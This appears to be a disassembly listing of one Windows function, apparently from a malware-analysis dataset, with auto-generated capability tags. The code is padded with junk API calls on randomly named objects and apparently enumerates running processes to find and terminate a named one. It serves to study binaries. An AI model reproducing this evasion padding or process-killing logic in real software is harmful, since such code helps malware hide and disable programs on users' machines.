Function at 0x4108ca
Capabilities:
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x614
push ebx
push esi
push edi
lea eax, [ebp - 0x390]
mov dword [ebp - 0xc], ecx
push eax
xor ebx, ebx
push str.s_pknlsuvt
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_m2uczuuz
push ebx
xor edi, edi
inc edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_l9ge1xes
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov ebx, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x410944
push eax
call ebx
push str.s8wwaaz1
push str.m8x9ht2t
call edi
push str.XMLbqmcbthz
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0xdd3
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.8wrjdbkk
push str.u7pd1nqh
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 7
pop esi
push str.log:_rj8zylhb
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esi, 1
jne 0x410983
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
xor edi, edi
push str.SMPHR_ktnmwlpc
push 1
push edi
push edi
call esi
push edi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push edi
push 0xa4e
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea eax, [ebp - 0x10]
push eax
push 0x20019
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.reglpxu0xo8
push 0x80000001
call edi
push 0
push 2
call dword [0x41709c]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x410c81
lea eax, [ebp - 0x4d0]
push eax
push str.s_am0kdk0s
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.XML3hsqiezb
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.5rdtdj93
push str.n94ksdbh
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 9
pop esi
push str.log:_gemonsps
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esi, 1
jne 0x410a38
push str.MTX3sjtcbw7
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x410a70
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.alv9hf2e
push str.oha0mee2
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_iiw2eehb
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x410aa3
lea eax, [ebp - 0x14]
push eax
push 0x20019
push esi
push str.reg0ykmvh9z
push 0x80000001
call edi
push str.WTMR_a0ss9wdx
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_rayduebd
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call ebx
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
push str.reg2q2nfjzz
push 0x80000001
call edi
push str.WTMR_8jlihpgf
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push str.reg6izi2r34
push 0x80000001
call edi
test esi, esi
je 0x410b07
push esi
call ebx
lea eax, [ebp - 0x250]
mov dword [ebp - 0x250], 0x22c
push eax
push dword [ebp - 4]
call dword [0x417070]
jmp 0x410c70
push dword [ebp - 0xc]
lea eax, [ebp - 0x22c]
push eax
call dword [0x41711c]
test eax, eax
jne 0x410c60
mov edi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
inc eax
push str.WTMR_7iribpf6
push eax
push 0
call edi
test eax, eax
je 0x410b58
push eax
call ebx
jmp 0x410b5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1cd
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.swiz1phc
push str.wrhmc8vv
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
push str.WTMR_0t639lm2
inc eax
push eax
push 0
call edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call ebx
lea eax, [ebp - 0x610]
push eax
push str.s_ux5gvdyn
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
push eax
push 0x7ce
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, eax
push str.log:_4me9msp2
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.log:_ytwevqk3
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
xor eax, eax
push str.XMLpjh5kqox
inc eax
push eax
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_uzuq0txh
xor eax, eax
inc eax
push eax
push 0
push 0
call esi
push 0
xor esi, esi
inc esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x410c2d
push str.log:_9q14ufaj
call edi
push dword [ebp - 0x248]
push 0
push esi
call dword [0x417060]
mov esi, eax
test esi, esi
je 0x410c60
push 0
push esi
call dword [0x417118]
mov ecx, dword [ebp - 8]
test eax, eax
push 1
pop eax
cmovne ecx, eax
push esi
mov dword [ebp - 8], ecx
call dword [0x4170c0]
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 4]
call dword [0x41700c]
test eax, eax
jne 0x410b26
push dword [ebp - 4]
call dword [0x4170c0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret